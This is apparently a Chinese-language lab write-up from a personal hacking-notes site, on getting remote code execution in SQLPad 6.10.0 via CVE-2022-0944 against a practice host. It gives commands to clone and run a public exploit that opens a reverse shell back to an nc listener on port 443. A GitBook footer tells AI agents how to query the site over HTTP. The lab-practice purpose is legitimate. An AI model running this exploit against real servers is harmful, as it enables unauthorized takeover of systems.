> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/sqlpad-cms-exploitation.md).

# SQLPad

## SQLPad 漏洞 /\[CVE-2022-0944]：

{% hint style="info" %}
**SQLPad** 是一个用于通过 Web 界面执行、可视化和共享 SQL 查询的开源工具。
{% endhint %}

<figure><img src="/files/77947a37e50f416ea9aec38d2212472d5fd86f2a" alt="" width="563"><figcaption></figcaption></figure>

**`http://sqlpad.sightless.htb`**

<figure><img src="/files/76e4bd86e50300472763723836805d91934afcfd" alt=""><figcaption></figcaption></figure>

**受影响版本：**

位于 <http://sqlpad.sightless.htb> 运行 6.10.0 版本，存在已知漏洞。

<figure><img src="/files/4a32d6dfa602039bf142f66f61d439906e4d7bc1" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944>" %}

**安装：**

```bash
git clone https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944
cd sqlpad-rce-exploit-CVE-2022-0944
```

**漏洞利用执行：**

```bash
python3 exploit.py http://sqlpad.sightless.htb/ 10.10.14.89 443
```

保持一个 `nc` 在 443 端口上监听并接收访问。

<figure><img src="/files/a8082850725c0f07875894a3a6eea4e78423559a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/sqlpad-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
